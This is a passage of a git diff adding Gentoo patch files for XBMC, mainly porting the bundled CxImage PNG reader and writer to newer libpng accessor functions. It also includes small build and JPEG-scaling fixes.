+-	png_get_PLTE(png_ptr,info_ptr,&_palette,&_num_palette);
++	png_uint_32 _palette_ret;
++	_palette_ret = png_get_PLTE(png_ptr,info_ptr,&_palette,&_num_palette);
++	if (_palette_ret && _num_palette>0){
+ #else
+ 	_num_palette=info_ptr->num_palette;
+ 	_palette=info_ptr->palette;
+-#endif
+ 	if (_num_palette>0){
++#endif
+ 		SetPalette((rgb_color*)_palette,_num_palette);
+ 		SetClrImportant(_num_palette);
+ 	} else if (_bit_depth ==2) { //<DP> needed for 2 bpp grayscale PNGs
+@@ -199,11 +201,13 @@ bool CxImagePNG::Decode(CxFile *hFile)
+ 	int _num_trans;
+ 	png_color_16p _trans_color;
+ #if PNG_LIBPNG_VER > 10399
+-	png_get_tRNS(png_ptr,info_ptr,&_trans_alpha,&_num_trans,&_trans_color);
++	png_uint_32 _trans_ret;
++	_trans_ret = png_get_tRNS(png_ptr,info_ptr,&_trans_alpha,&_num_trans,&_trans_color);
++	if (_trans_ret && _num_trans!=0){ //palette transparency
+ #else
+ 	_num_trans=info_ptr->num_trans;
+-#endif
+ 	if (_num_trans!=0){ //palette transparency
++#endif
+ 		if (_num_trans==1){
+ 			if (_color_type == PNG_COLOR_TYPE_PALETTE){
+ #if PNG_LIBPNG_VER > 10399
+@@ -219,7 +223,11 @@ bool CxImagePNG::Decode(CxFile *hFile)
+ #endif
+ 			}
+ 		}
++#if PNG_LIBPNG_VER > 10399
++		if (_num_trans>1 && _trans_alpha!=NULL){
++#else
+ 		if (_num_trans>1){
++#endif
+ 			RGBQUAD* pal=GetPalette();
+ 			if (pal){
+ 				DWORD ip;
diff --git a/media-tv/xbmc/files/xbmc-11.0_beta1-libpng-1.5-headers.patch b/media-tv/xbmc/files/xbmc-11.0_beta1-libpng-1.5-headers.patch
new file mode 100644
index 00000000..4648f9fd
--- /dev/null
+++ b/media-tv/xbmc/files/xbmc-11.0_beta1-libpng-1.5-headers.patch
@@ -0,0 +1,12 @@
+diff --git a/tools/TexturePacker/XBTFWriter.cpp b/tools/TexturePacker/XBTFWriter.cpp
+index 78b47fe..2e75d96 100644
+--- a/tools/TexturePacker/XBTFWriter.cpp
++++ b/tools/TexturePacker/XBTFWriter.cpp
+@@ -22,6 +22,7 @@
+ #include "XBTFWriter.h"
+ #define __STDC_FORMAT_MACROS
+ #include <inttypes.h>
++#include <unistd.h> /* for unlink() prototype */
+ #include "guilib/XBTF.h"
+ #include "utils/EndianSwap.h"
+ #if !defined(__APPLE__) && !defined(__FreeBSD__)
diff --git a/media-tv/xbmc/files/xbmc-11.0_beta1-libpng-1.5.patch b/media-tv/xbmc/files/xbmc-11.0_beta1-libpng-1.5.patch
new file mode 100644
index 00000000..da331d2b
--- /dev/null
+++ b/media-tv/xbmc/files/xbmc-11.0_beta1-libpng-1.5.patch
@@ -0,0 +1,596 @@
+fix building with newer libpng.  patch by Ian Stakenvicius.
+
+https://bugs.gentoo.org/380127
+
+--- a/xbmc/lib/cximage-6.0/CxImage/ximapng.h
++++ b/xbmc/lib/cximage-6.0/CxImage/ximapng.h
+@@ -69,8 +69,13 @@
+ 
+     static void PNGAPI user_error_fn(png_structp png_ptr,png_const_charp error_msg)
+ 	{
++#if PNG_LIBPNG_VER > 10399
++		strncpy((char*)png_get_error_ptr(png_ptr),error_msg,255);
++		longjmp(png_jmpbuf(png_ptr), 1);
++#else
+ 		strncpy((char*)png_ptr->error_ptr,error_msg,255);
+ 		longjmp(png_ptr->jmpbuf, 1);
++#endif
+ 	}
+ };
+ 
+--- a/xbmc/lib/cximage-6.0/CxImage/ximapng.cpp
++++ b/xbmc/lib/cximage-6.0/CxImage/ximapng.cpp
+@@ -15,7 +15,11 @@
+ void CxImagePNG::ima_png_error(png_struct *png_ptr, char *message)
+ {
+ 	strcpy(info.szLastError,message);
++#if PNG_LIBPNG_VER > 10399
++	longjmp(png_jmpbuf(png_ptr), 1);
++#else
+ 	longjmp(png_ptr->jmpbuf, 1);
++#endif
+ }
+ ////////////////////////////////////////////////////////////////////////////////
+ #if CXIMAGE_SUPPORT_DECODE
+@@ -62,7 +66,11 @@
+     /* Set error handling if you are using the setjmp/longjmp method (this is
+     * the normal method of doing things with libpng).  REQUIRED unless you
+     * set up your own error handlers in the png_create_read_struct() earlier. */
++#if PNG_LIBPNG_VER > 10399
++	if (setjmp(png_jmpbuf(png_ptr))) {
++#else
+ 	if (setjmp(png_ptr->jmpbuf)) {
++#endif
+ 		/* Free all of the memory associated with the png_ptr and info_ptr */
+ 		delete [] row_pointers;
+ 		png_destroy_read_struct(&png_ptr, &info_ptr, (png_infopp)NULL);
+@@ -70,16 +78,35 @@
+ 	/* read the file information */
+ 	png_read_info(png_ptr, info_ptr);
+ 
++	png_uint_32 _width,_height;
++	int _bit_depth,_color_type,_interlace_type,_compression_type,_filter_type;
++#if PNG_LIBPNG_VER > 10399
++	png_get_IHDR(png_ptr,info_ptr,&_width,&_height,&_bit_depth,&_color_type,
++		&_interlace_type,&_compression_type,&_filter_type);
++#else
++	_width=info_ptr->width;
++	_height=info_ptr->height;
++	_bit_depth=info_ptr->bit_depth;
++	_color_type=info_ptr->color_type;
++	_interlace_type=info_ptr->interlace_type;
++	_compression_type=info_ptr->compression_type;
++	_filter_type=info_ptr->filter_type;
++#endif
++
+ 	if (info.nEscape == -1){
+-		head.biWidth = info_ptr->width;
+-		head.biHeight= info_ptr->height;
++		head.biWidth = _width;
++		head.biHeight= _height;
+ 		info.dwType = CXIMAGE_FORMAT_PNG;
++#if PNG_LIBPNG_VER > 10399
++		longjmp(png_jmpbuf(png_ptr), 1);
++#else
+ 		longjmp(png_ptr->jmpbuf, 1);
++#endif
+ 	}
+ 
+ 	/* calculate new number of channels */
+ 	int channels=0;
+-	switch(info_ptr->color_type){
++	switch(_color_type){
+ 	case PNG_COLOR_TYPE_GRAY:
+ 	case PNG_COLOR_TYPE_PALETTE:
+ 		channels = 1;
+@@ -101,71 +128,108 @@
+ 		break;
+ 	default:
+ 		strcpy(info.szLastError,"unknown PNG color type");
++#if PNG_LIBPNG_VER > 10399
++		longjmp(png_jmpbuf(png_ptr), 1);
++#else
+ 		longjmp(png_ptr->jmpbuf, 1);
++#endif
+ 	}
+ 
+ 	//find the right pixel depth used for cximage
++#if PNG_LIBPNG_VER > 10399
++	int pixel_depth = _bit_depth * png_get_channels(png_ptr,info_ptr);
++#else
+ 	int pixel_depth = info_ptr->pixel_depth;
++#endif
+ 	if (channels == 1 && pixel_depth>8) pixel_depth=8;
+ 	if (channels == 2) pixel_depth=8;
+ 	if (channels >= 3) pixel_depth=24;
+ 
+-	if (!Create(info_ptr->width, info_ptr->height, pixel_depth, CXIMAGE_FORMAT_PNG)){
++	if (!Create(_width, _height, pixel_depth, CXIMAGE_FORMAT_PNG)){
++#if PNG_LIBPNG_VER > 10399
++		longjmp(png_jmpbuf(png_ptr), 1);
++#else
+ 		longjmp(png_ptr->jmpbuf, 1);
++#endif
+ 	}
+ 
+ 	/* get metrics */
+-	switch (info_ptr->phys_unit_type)
++	png_uint_32 _x_pixels_per_unit,_y_pixels_per_unit;
++	int _phys_unit_type;
++#if PNG_LIBPNG_VER > 10399
++	png_get_pHYs(png_ptr,info_ptr,&_x_pixels_per_unit,&_y_pixels_per_unit,&_phys_unit_type);
++#else
++	_x_pixels_per_unit=info_ptr->x_pixels_per_unit;
++	_y_pixels_per_unit=info_ptr->y_pixels_per_unit;
++	_phys_unit_type=info_ptr->phys_unit_type;
++#endif
++	switch (_phys_unit_type)
+ 	{
+ 	case PNG_RESOLUTION_UNKNOWN:
+-		SetXDPI(info_ptr->x_pixels_per_unit);
+-		SetYDPI(info_ptr->y_pixels_per_unit);
++		SetXDPI(_x_pixels_per_unit);
++		SetYDPI(_y_pixels_per_unit);
+ 		break;
+ 	case PNG_RESOLUTION_METER:
+-		SetXDPI((long)floor(info_ptr->x_pixels_per_unit * 254.0 / 10000.0 + 0.5));
+-		SetYDPI((long)floor(info_ptr->y_pixels_per_unit * 254.0 / 10000.0 + 0.5));
++		SetXDPI((long)floor(_x_pixels_per_unit * 254.0 / 10000.0 + 0.5));
++		SetYDPI((long)floor(_y_pixels_per_unit * 254.0 / 10000.0 + 0.5));
+ 		break;
+ 	}
+ 
+-	if (info_ptr->num_palette>0){
+-		SetPalette((rgb_color*)info_ptr->palette,info_ptr->num_palette);
+-		SetClrImportant(info_ptr->num_palette);
+-	} else if (info_ptr->bit_depth ==2) { //<DP> needed for 2 bpp grayscale PNGs
++	int _num_palette;
++	png_colorp _palette;
++#if PNG_LIBPNG_VER > 10399
++	png_get_PLTE(png_ptr,info_ptr,&_palette,&_num_palette);
++#else
++	_num_palette=info_ptr->num_palette;
++	_palette=info_ptr->palette;
++#endif
++	if (_num_palette>0){
++		SetPalette((rgb_color*)_palette,_num_palette);
++		SetClrImportant(_num_palette);
++	} else if (_bit_depth ==2) { //<DP> needed for 2 bpp grayscale PNGs
+ 		SetPaletteColor(0,0,0,0);
+ 		SetPaletteColor(1,85,85,85);
+ 		SetPaletteColor(2,170,170,170);
+ 		SetPaletteColor(3,255,255,255);
+ 	} else SetGrayPalette(); //<DP> needed for grayscale PNGs
+ 	
+-	int nshift = max(0,(info_ptr->bit_depth>>3)-1)<<3;
++	int nshift = max(0,(_bit_depth>>3)-1)<<3;
+ 
+-	if (info_ptr->num_trans!=0){ //palette transparency
+-		if (info_ptr->num_trans==1){
+-			if (info_ptr->color_type == PNG_COLOR_TYPE_PALETTE){
++	png_bytep _trans_alpha;
++	int _num_trans;
++	png_color_16p _trans_color;
++#if PNG_LIBPNG_VER > 10399
++	png_get_tRNS(png_ptr,info_ptr,&_trans_alpha,&_num_trans,&_trans_color);
++#else
++	_num_trans=info_ptr->num_trans;
++#endif
++	if (_num_trans!=0){ //palette transparency
++		if (_num_trans==1){
++			if (_color_type == PNG_COLOR_TYPE_PALETTE){
+ #if PNG_LIBPNG_VER > 10399
+-				info.nBkgndIndex = info_ptr->trans_color.index;
++				info.nBkgndIndex = _trans_color->index;
+ #else
+ 				info.nBkgndIndex = info_ptr->trans_values.index;
+ #endif
+ 			} else{
+ #if PNG_LIBPNG_VER > 10399
+-				info.nBkgndIndex = info_ptr->trans_color.gray>>nshift;
++				info.nBkgndIndex = _trans_color->gray>>nshift;
+ #else
+ 				info.nBkgndIndex = info_ptr->trans_values.gray>>nshift;
+ #endif
+ 			}
+ 		}
+-		if (info_ptr->num_trans>1){
++		if (_num_trans>1){
+ 			RGBQUAD* pal=GetPalette();
+ 			if (pal){
+ 				DWORD ip;
+-				for (ip=0;ip<min(head.biClrUsed,(unsigned long)info_ptr->num_trans);ip++)
++				for (ip=0;ip<min(head.biClrUsed,(unsigned long)_num_trans);ip++)
+ #if PNG_LIBPNG_VER > 10399
+-					pal[ip].rgbReserved=info_ptr->trans_alpha[ip];
++					pal[ip].rgbReserved=_trans_alpha[ip];
+ #else
+ 					pal[ip].rgbReserved=info_ptr->trans[ip];
+ #endif
+-				for (ip=info_ptr->num_trans;ip<head.biClrUsed;ip++){
++				for (ip=_num_trans;ip<head.biClrUsed;ip++){
+ 					pal[ip].rgbReserved=255;
+ 				}
+ 				info.bAlphaPaletteEnabled=true;
+@@ -174,14 +238,12 @@
+ 	}
+ 
+ 	if (channels == 3){ //check RGB binary transparency
+-		png_bytep trans;
+-		int num_trans;
+-		png_color_16 *image_background;
+-		if (png_get_tRNS(png_ptr, info_ptr, &trans, &num_trans, &image_background)){
+-#if PNG_LIBPNG_VER > 10399
+-			info.nBkgndColor.rgbRed   = (BYTE)(info_ptr->trans_color.red>>nshift);
+-			info.nBkgndColor.rgbGreen = (BYTE)(info_ptr->trans_color.green>>nshift);
+-			info.nBkgndColor.rgbBlue  = (BYTE)(info_ptr->trans_color.blue>>nshift);
++		/* seems unnecessary to call again, but the conditional must be important so... */
++		if (png_get_tRNS(png_ptr,info_ptr,&_trans_alpha,&_num_trans,&_trans_color)){
++#if PNG_LIBPNG_VER > 10399
++			info.nBkgndColor.rgbRed   = (BYTE)(_trans_color->red>>nshift);
++			info.nBkgndColor.rgbGreen = (BYTE)(_trans_color->green>>nshift);
++			info.nBkgndColor.rgbBlue  = (BYTE)(_trans_color->blue>>nshift);
+ #else
+ 			info.nBkgndColor.rgbRed   = (BYTE)(info_ptr->trans_values.red>>nshift);
+ 			info.nBkgndColor.rgbGreen = (BYTE)(info_ptr->trans_values.green>>nshift);
+@@ -202,15 +264,24 @@
+ 	}
+ 
+ 	// <vho> - flip the RGB pixels to BGR (or RGBA to BGRA)
+-	if (info_ptr->color_type & PNG_COLOR_MASK_COLOR){
++	if (_color_type & PNG_COLOR_MASK_COLOR){
+ 		png_set_bgr(png_ptr);
+ 	}
+ 
+ 	// <vho> - handle cancel
+-	if (info.nEscape) longjmp(png_ptr->jmpbuf, 1);
++	if (info.nEscape)
++#if PNG_LIBPNG_VER > 10399
++		longjmp(png_jmpbuf(png_ptr), 1);
++#else
++		longjmp(png_ptr->jmpbuf, 1);
++#endif
+ 
+ 	// row_bytes is the width x number of channels x (bit-depth / 8)
++#if PNG_LIBPNG_VER > 10399
++	row_pointers = new BYTE[png_get_rowbytes(png_ptr,info_ptr) + 8];
++#else
+ 	row_pointers = new BYTE[info_ptr->rowbytes + 8];
++#endif
+ 
+ 	// turn on interlace handling
+ 	int number_passes = png_set_interlace_handling(png_ptr);
+@@ -221,8 +292,12 @@
+ 		SetCodecOption(0);
+ 	}
+ 
+-	int chan_offset = info_ptr->bit_depth >> 3;
++	int chan_offset = _bit_depth >> 3;
++#if PNG_LIBPNG_VER > 10399
++	int pixel_offset = (_bit_depth * png_get_channels(png_ptr,info_ptr)) >> 3;
++#else
+ 	int pixel_offset = info_ptr->pixel_depth >> 3;
++#endif
+ 
+ 	for (int pass=0; pass < number_passes; pass++) {
+ 		iter.Upset();
+@@ -230,7 +305,12 @@
+ 		do	{
+ 
+ 			// <vho> - handle cancel
+-			if (info.nEscape) longjmp(png_ptr->jmpbuf, 1);
++			if (info.nEscape)
++#if PNG_LIBPNG_VER > 10399
++				longjmp(png_jmpbuf(png_ptr), 1);
++#else
++				longjmp(png_ptr->jmpbuf, 1);
++#endif
+ 
+ #if CXIMAGE_SUPPORT_ALPHA	// <vho>
+ 			if (AlphaIsValid()) {
+@@ -241,7 +321,7 @@
+ 				BYTE* prow= iter.GetRow(ay);
+ 
+ 				//recover data from previous scan
+-				if (info_ptr->interlace_type && pass>0 && pass!=7){
++				if (_interlace_type && pass>0 && pass!=7){
+ 					for(ax=0;ax<head.biWidth;ax++){
+ 						long px = ax * pixel_offset;
+ 						if (channels == 2){
+@@ -278,10 +358,14 @@
+ #endif // CXIMAGE_SUPPORT_ALPHA		// vho
+ 			{
+ 				//recover data from previous scan
+-				if (info_ptr->interlace_type && pass>0){
++				if (_interlace_type && pass>0){
++#if PNG_LIBPNG_VER > 10399
++					iter.GetRow(row_pointers, png_get_rowbytes(png_ptr,info_ptr));
++#else
+ 					iter.GetRow(row_pointers, info_ptr->rowbytes);
++#endif
+ 					//re-expand buffer for images with bit depth > 8
+-					if (info_ptr->bit_depth > 8){
++					if (_bit_depth > 8){
+ 						for(long ax=(head.biWidth*channels-1);ax>=0;ax--)
+ 							row_pointers[ax*chan_offset] = row_pointers[ax];
+ 					}
+@@ -291,15 +375,19 @@
+ 				png_read_row(png_ptr, row_pointers, NULL);
+ 
+ 				//shrink 16 bit depth images down to 8 bits
+-				if (info_ptr->bit_depth > 8){
++				if (_bit_depth > 8){
+ 					for(long ax=0;ax<(head.biWidth*channels);ax++)
+ 						row_pointers[ax] = row_pointers[ax*chan_offset];
+ 				}
+ 
+ 				//copy the pixels
++#if PNG_LIBPNG_VER > 10399
++				iter.SetRow(row_pointers, png_get_rowbytes(png_ptr,info_ptr));
++#else
+ 				iter.SetRow(row_pointers, info_ptr->rowbytes);
++#endif
+ 				//<DP> expand 2 bpp images only in the last pass
+-				if (info_ptr->bit_depth==2 && pass==(number_passes-1))
++				if (_bit_depth==2 && pass==(number_passes-1))
+ 					expand2to4bpp(iter.GetRow());
+ 
+ 				//go on
+@@ -361,9 +449,13 @@
+    /* Set error handling.  REQUIRED if you aren't supplying your own
+     * error hadnling functions in the png_create_write_struct() call.
+     */
++#if PNG_LIBPNG_VER > 10399
++	if (setjmp(png_jmpbuf(png_ptr))){
++#else
+ 	if (setjmp(png_ptr->jmpbuf)){
+ 		/* If we get here, we had a problem reading the file */
+ 		if (info_ptr->palette) free(info_ptr->palette);
++#endif
+ 		png_destroy_write_struct(&png_ptr,  (png_infopp)&info_ptr);
+ 		cx_throw("Error saving PNG file");
+ 	}
+@@ -372,9 +464,23 @@
+ 	//png_init_io(png_ptr, hFile);
+ 
+ 	// use custom I/O functions
+-    png_set_write_fn(png_ptr,hFile,/*(png_rw_ptr)*/user_write_data,/*(png_flush_ptr)*/user_flush_data);
++	png_set_write_fn(png_ptr,hFile,/*(png_rw_ptr)*/user_write_data,/*(png_flush_ptr)*/user_flush_data);
+ 
+ 	/* set the file information here */
++#if PNG_LIBPNG_VER > 10399
++	/* use variables to hold the values so it isnt necessary to png_get them later */
++	png_uint_32 _width,_height;
++	int _bit_depth,_color_type,_interlace_type,_compression_type,_filter_type;
++	png_byte _channels,_pixel_depth;
++
++	_width = GetWidth();
++	_height = GetHeight();
++	_pixel_depth = (BYTE)GetBpp();
++	_channels = (GetBpp()>8) ? (BYTE)3: (BYTE)1;
++	_bit_depth = (BYTE)(GetBpp()/_channels);
++	_compression_type = PNG_COMPRESSION_TYPE_DEFAULT;
++	_filter_type = PNG_FILTER_TYPE_DEFAULT;
++#else
+ 	info_ptr->width = GetWidth();
+ 	info_ptr->height = GetHeight();
+ 	info_ptr->pixel_depth = (BYTE)GetBpp();
+@@ -382,13 +488,22 @@
+ 	info_ptr->bit_depth = (BYTE)(GetBpp()/info_ptr->channels);
+ 	info_ptr->compression_type = info_ptr->filter_type = 0;
+ 	info_ptr->valid = 0;
++#endif
+ 
+ 	switch(GetCodecOption(CXIMAGE_FORMAT_PNG)){
+ 	case 1:
++#if PNG_LIBPNG_VER > 10399
++		_interlace_type = PNG_INTERLACE_ADAM7;
++#else
+ 		info_ptr->interlace_type = PNG_INTERLACE_ADAM7;
++#endif
+ 		break;
+ 	default:
++#if PNG_LIBPNG_VER > 10399
++		_interlace_type = PNG_INTERLACE_NONE;
++#else
+ 		info_ptr->interlace_type = PNG_INTERLACE_NONE;
++#endif
+ 	}
+ 
+ 	/* set compression level */
+@@ -398,22 +513,47 @@
+ 
+ 	if (GetNumColors()){
+ 		if (bGrayScale){
++#if PNG_LIBPNG_VER > 10399
++			_color_type = PNG_COLOR_TYPE_GRAY;
++#else
+ 			info_ptr->color_type = PNG_COLOR_TYPE_GRAY;
++#endif
+ 		} else {
++#if PNG_LIBPNG_VER > 10399
++			_color_type = PNG_COLOR_TYPE_PALETTE;
++#else
+ 			info_ptr->color_type = PNG_COLOR_TYPE_PALETTE;
++#endif
+ 		}
+ 	} else {
++#if PNG_LIBPNG_VER > 10399
++		_color_type = PNG_COLOR_TYPE_RGB;
++#else
+ 		info_ptr->color_type = PNG_COLOR_TYPE_RGB;
++#endif
+ 	}
+ #if CXIMAGE_SUPPORT_ALPHA
+ 	if (AlphaIsValid()){
++#if PNG_LIBPNG_VER > 10399
++		_color_type |= PNG_COLOR_MASK_ALPHA;
++		_channels++;
++		_bit_depth = 8;
++		_pixel_depth += 8;
++#else
+ 		info_ptr->color_type |= PNG_COLOR_MASK_ALPHA;
+ 		info_ptr->channels++;
+ 		info_ptr->bit_depth = 8;
+ 		info_ptr->pixel_depth += 8;
++#endif
+ 	}
+ #endif
+ 
++#if PNG_LIBPNG_VER > 10399
++	/* set the header here, since we're done modifying these values */
++	png_set_IHDR(png_ptr,info_ptr,_width,_height,_bit_depth,_color_type,_interlace_type,
++		_compression_type,_filter_type);
++#endif
++
+ 	/* set background */
+ 	png_color_16 image_background={ 0, 255, 255, 255, 0 };
+ 	RGBQUAD tc = GetTransColor();
+@@ -427,22 +567,24 @@
+ 	/* set metrics */
+ 	png_set_pHYs(png_ptr, info_ptr, head.biXPelsPerMeter, head.biYPelsPerMeter, PNG_RESOLUTION_METER);
+ 
++#if PNG_LIBPNG_VER <= 10399
+ 	png_set_IHDR(png_ptr, info_ptr, info_ptr->width, info_ptr->height, info_ptr->bit_depth,
+ 				info_ptr->color_type, info_ptr->interlace_type,
+ 				PNG_COMPRESSION_TYPE_BASE, PNG_FILTER_TYPE_BASE);
++#endif
+ 
+ 	//<DP> simple transparency
+ 	if (info.nBkgndIndex >= 0){
+-		info_ptr->num_trans = 1;
+-		info_ptr->valid |= PNG_INFO_tRNS;
+ #if PNG_LIBPNG_VER > 10399
+-		info_ptr->trans_alpha = trans;
+-		info_ptr->trans_color.index = (BYTE)info.nBkgndIndex;
+-		info_ptr->trans_color.red   = tc.rgbRed;
+-		info_ptr->trans_color.green = tc.rgbGreen;
+-		info_ptr->trans_color.blue  = tc.rgbBlue;
+-		info_ptr->trans_color.gray  = info_ptr->trans_color.index;
++		png_color_16 _trans_color;
++		_trans_color.index = (BYTE)info.nBkgndIndex;
++		_trans_color.red   = tc.rgbRed;
++		_trans_color.green = tc.rgbGreen;
++		_trans_color.blue  = tc.rgbBlue;
++		_trans_color.gray  = _trans_color.index;
+ #else
++		info_ptr->num_trans = 1;
++		info_ptr->valid |= PNG_INFO_tRNS;
+ 		info_ptr->trans = trans;
+ 		info_ptr->trans_values.index = (BYTE)info.nBkgndIndex;
+ 		info_ptr->trans_values.red   = tc.rgbRed;
+@@ -454,34 +596,53 @@
+ 		// the transparency indexes start from 0 for non grayscale palette
+ 		if (!bGrayScale && head.biClrUsed && info.nBkgndIndex)
+ 			SwapIndex(0,(BYTE)info.nBkgndIndex);
++
++#if PNG_LIBPNG_VER > 10399
++		png_set_tRNS(png_ptr,info_ptr,(png_bytep)trans,1,&_trans_color);
++#endif
+ 	}
+ 
+ 	/* set the palette if there is one */
++#if PNG_LIBPNG_VER > 10399
++	png_colorp _palette;
++#endif
+ 	if (GetPalette()){
++#if PNG_LIBPNG_VER <= 10399
+ 		if (!bGrayScale){
+ 			info_ptr->valid |= PNG_INFO_PLTE;
+ 		}
++#endif
+ 
+ 		int nc = GetClrImportant();
+ 		if (nc==0) nc = GetNumColors();
+ 
++		// copy the palette colors
++#if PNG_LIBPNG_VER > 10399
++		_palette = new png_color[nc];
++#else
++		info_ptr->palette = new png_color[nc];
++		info_ptr->num_palette = (png_uint_16) nc;
++#endif
++		for (int i=0; i<nc; i++)
++#if PNG_LIBPNG_VER > 10399
++			GetPaletteColor(i, &_palette[i].red, &_palette[i].green, &_palette[i].blue);
++
++		png_set_PLTE(png_ptr,info_ptr,_palette,nc);
++#else
++			GetPaletteColor(i, &info_ptr->palette[i].red, &info_ptr->palette[i].green, &info_ptr->palette[i].blue);
++#endif
++
+ 		if (info.bAlphaPaletteEnabled){
+ 			for(WORD ip=0; ip<nc;ip++)
+ 				trans[ip]=GetPaletteColor((BYTE)ip).rgbReserved;
+-			info_ptr->num_trans = (WORD)nc;
+-			info_ptr->valid |= PNG_INFO_tRNS;
+ #if PNG_LIBPNG_VER > 10399
+-			info_ptr->trans_alpha = trans;
++			png_set_tRNS(png_ptr,info_ptr,(png_bytep)trans,nc,NULL);
+ #else
++			info_ptr->num_trans = (WORD)nc;
++			info_ptr->valid |= PNG_INFO_tRNS;
+ 			info_ptr->trans = trans;
+ #endif
+ 		}
+-
+-		// copy the palette colors
+-		info_ptr->palette = new png_color[nc];
+-		info_ptr->num_palette = (png_uint_16) nc;
+-		for (int i=0; i<nc; i++)
+-			GetPaletteColor(i, &info_ptr->palette[i].red, &info_ptr->palette[i].green, &info_ptr->palette[i].blue);
+ 	}  
+ 
+ #if CXIMAGE_SUPPORT_ALPHA	// <vho>
+@@ -495,8 +656,12 @@
+ 	}	}	}
+ #endif // CXIMAGE_SUPPORT_ALPHA	// <vho>
+ 
++#if PNG_LIBPNG_VER > 10399
++	int row_size = max(info.dwEffWidth, (_width * _channels * _bit_depth / 8));
++#else
+ 	int row_size = max(info.dwEffWidth, info_ptr->width*info_ptr->channels*(info_ptr->bit_depth/8));
+ 	info_ptr->rowbytes = row_size;
++#endif
+ 	BYTE *row_pointers = new BYTE[row_size];
+ 
+ 	/* write the file information */
+@@ -514,7 +679,11 @@
+ 			if (AlphaIsValid()){
+ 				for (long ax=head.biWidth-1; ax>=0;ax--){
+ 					c = BlindGetPixelColor(ax,ay);
++#if PNG_LIBPNG_VER > 10399
++					int px = ax * _channels;
++#else
+ 					int px = ax * info_ptr->channels;
++#endif
+ 					if (!bGrayScale){
+ 						row_pointers[px++]=c.rgbRed;
+ 						row_pointers[px++]=c.rgbGreen;
+@@ -529,7 +698,11 @@
+ #endif //CXIMAGE_SUPPORT_ALPHA	// <vho>
+ 			{
+ 				iter.GetRow(row_pointers, row_size);
++#if PNG_LIBPNG_VER > 10399
++				if (_color_type == PNG_COLOR_TYPE_RGB) //HACK BY OP
++#else
+ 				if (info_ptr->color_type == PNG_COLOR_TYPE_RGB) //HACK BY OP
++#endif
+ 					RGBtoBGR(row_pointers, row_size);
+ 				png_write_row(png_ptr, row_pointers);
+ 			}
+@@ -546,9 +719,14 @@
+ 	png_write_end(png_ptr, info_ptr);
+ 
+ 	/* if you malloced the palette, free it here */
++#if PNG_LIBPNG_VER > 10399
++	if (_palette){
++		delete [] (_palette);
++#else
+ 	if (info_ptr->palette){
+ 		delete [] (info_ptr->palette);
+ 		info_ptr->palette = NULL;
++#endif
+ 	}
+ 
+ 	/* clean up after the write, and free any memory allocated */
diff --git a/media-tv/xbmc/files/xbmc-9.11-TexturePacker-parallel-build.patch b/media-tv/xbmc/files/xbmc-9.11-TexturePacker-parallel-build.patch
new file mode 100644
index 00000000..f6bc030e
--- /dev/null
+++ b/media-tv/xbmc/files/xbmc-9.11-TexturePacker-parallel-build.patch
@@ -0,0 +1,13 @@
+http://trac.xbmc.org/ticket/9275
+
+--- xbmc/Makefile.in
++++ xbmc/Makefile.in
+@@ -501,7 +501,7 @@ else
+ 	$(MAKE) -C tools/XBMCTex/
+ endif
+ 
+-tools/TexturePacker/TexturePacker:
++tools/TexturePacker/TexturePacker: guilib/guilib.a xbmc/lib/libsquish/libsquish-@ARCH@.a
+ 	$(MAKE) -C tools/TexturePacker/
+ 
+ install-bin: xbmc.bin # developement convenience target
diff --git a/media-tv/xbmc/files/xbmc-9.11-jpeg-speedup.patch b/media-tv/xbmc/files/xbmc-9.11-jpeg-speedup.patch
new file mode 100644
index 00000000..63cadbf5
--- /dev/null
+++ b/media-tv/xbmc/files/xbmc-9.11-jpeg-speedup.patch
@@ -0,0 +1,18 @@
+fix from upstream
+http://bugs.gentoo.org/300909
+
+r26689 | jmarshallnz | 2010-01-11 14:30:08 -0500 (Mon, 11 Jan 2010) | 2 lines                                                                                               
+fixed: Ticket #7810 - high cpu load during loading of images with libjpeg7, thanks to akawaka.
+
+Index: xbmc/lib/cximage-6.0/CxImage/ximajpg.cpp
+===================================================================
+--- xbmc/lib/cximage-6.0/CxImage/ximajpg.cpp	(revision 26688)
++++ xbmc/lib/cximage-6.0/CxImage/ximajpg.cpp	(revision 26689)
+@@ -220,6 +220,7 @@ bool CxImageJPG::Decode(CxFile * hFile)
+ 
+ 	// Set the scale <ignacio>
+ 	cinfo.scale_denom = GetJpegScale();
++	cinfo.scale_num = 1;
+ 
+ 	// Borrowed the idea from GIF implementation <ignacio>
+ 	if (info.nEscape == -1) {
diff --git a/media-tv/xbmc/files/xbmc-9.11-libpng14.patch b/media-tv/xbmc/files/xbmc-9.11-libpng14.patch
new file mode 100644
index 00000000..b5af087e
--- /dev/null
+++ b/media-tv/xbmc/files/xbmc-9.11-libpng14.patch
@@ -0,0 +1,92 @@
+http://bugs.gentoo.org/319113
+http://repos.archlinux.org/wsvn/community/xbmc/trunk/libpng14.patch
+
+diff -Nur xbmc-9.11.orig/xbmc/lib/cximage-6.0/CxImage/ximapng.cpp xbmc-9.11/xbmc/lib/cximage-6.0/CxImage/ximapng.cpp
+--- xbmc-9.11.orig/xbmc/lib/cximage-6.0/CxImage/ximapng.cpp	2008-07-18 23:40:53.000000000 +0300
++++ xbmc-9.11/xbmc/lib/cximage-6.0/CxImage/ximapng.cpp	2010-01-20 21:55:11.000000000 +0200
+@@ -142,9 +142,9 @@
+ 	if (info_ptr->num_trans!=0){ //palette transparency
+ 		if (info_ptr->num_trans==1){
+ 			if (info_ptr->color_type == PNG_COLOR_TYPE_PALETTE){
+-				info.nBkgndIndex = info_ptr->trans_values.index;
++				info.nBkgndIndex = info_ptr->trans_color.index;
+ 			} else{
+-				info.nBkgndIndex = info_ptr->trans_values.gray>>nshift;
++				info.nBkgndIndex = info_ptr->trans_color.gray>>nshift;
+ 			}
+ 		}
+ 		if (info_ptr->num_trans>1){
+@@ -152,7 +152,7 @@
+ 			if (pal){
+ 				DWORD ip;
+ 				for (ip=0;ip<min(head.biClrUsed,(unsigned long)info_ptr->num_trans);ip++)
+-					pal[ip].rgbReserved=info_ptr->trans[ip];
++					pal[ip].rgbReserved=info_ptr->trans_alpha[ip];
+ 				for (ip=info_ptr->num_trans;ip<head.biClrUsed;ip++){
+ 					pal[ip].rgbReserved=255;
+ 				}
+@@ -166,9 +166,9 @@
+ 		int num_trans;
+ 		png_color_16 *image_background;
+ 		if (png_get_tRNS(png_ptr, info_ptr, &trans, &num_trans, &image_background)){
+-			info.nBkgndColor.rgbRed   = (BYTE)(info_ptr->trans_values.red>>nshift);
+-			info.nBkgndColor.rgbGreen = (BYTE)(info_ptr->trans_values.green>>nshift);
+-			info.nBkgndColor.rgbBlue  = (BYTE)(info_ptr->trans_values.blue>>nshift);
